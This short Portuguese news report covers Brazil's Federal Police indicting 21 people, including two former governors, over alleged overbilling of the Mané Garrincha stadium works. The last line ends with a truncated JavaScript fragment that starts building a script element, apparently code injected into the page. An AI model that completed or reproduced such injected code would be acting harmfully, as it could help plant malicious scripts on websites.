A Polícia Federal encaminhou o relatório final da Operação Panatenaico à Justiça Federal do Distrito Federal nesta sexta-feira (18). Foram indiciadas 21 pessoas, entre elas dois ex-governadores, a partir de laudos, depoimentos e dados obtidos em buscas e apreensões. Eles são acusados de superfaturarem R$ 559 milhões nas obras do Estádio Mané Garrincha.
Orçada em cerca de R$ 600 milhões, quando foi licitada em 2010, as obras do estádio chegaram a R$ 1,575 bilhão às vésperas da Copa do Mundo de 2014. Os ex-governadores José Roberto Arruda (PR) e Agnelo Queiroz (PT), além do ex-vice-governador Tadeu Filippelli (PMDB). Servidores, funcionário públicos, advogados e executivo de empreiteiras, que delataram esquema de propina, também respondem ao processo.
O Mané Garrincha, ao contrário dos demais estádios da Copa do Mundo, não foi financiado com empréstimos do BNDES, e sim, da Terracap. A estatal não tinha este tipo de operação prevista em suas atividades. Hoje, a empresa encontra-se com dificuldades financeiras.var d=document;var s=d.createElement(\’script\’);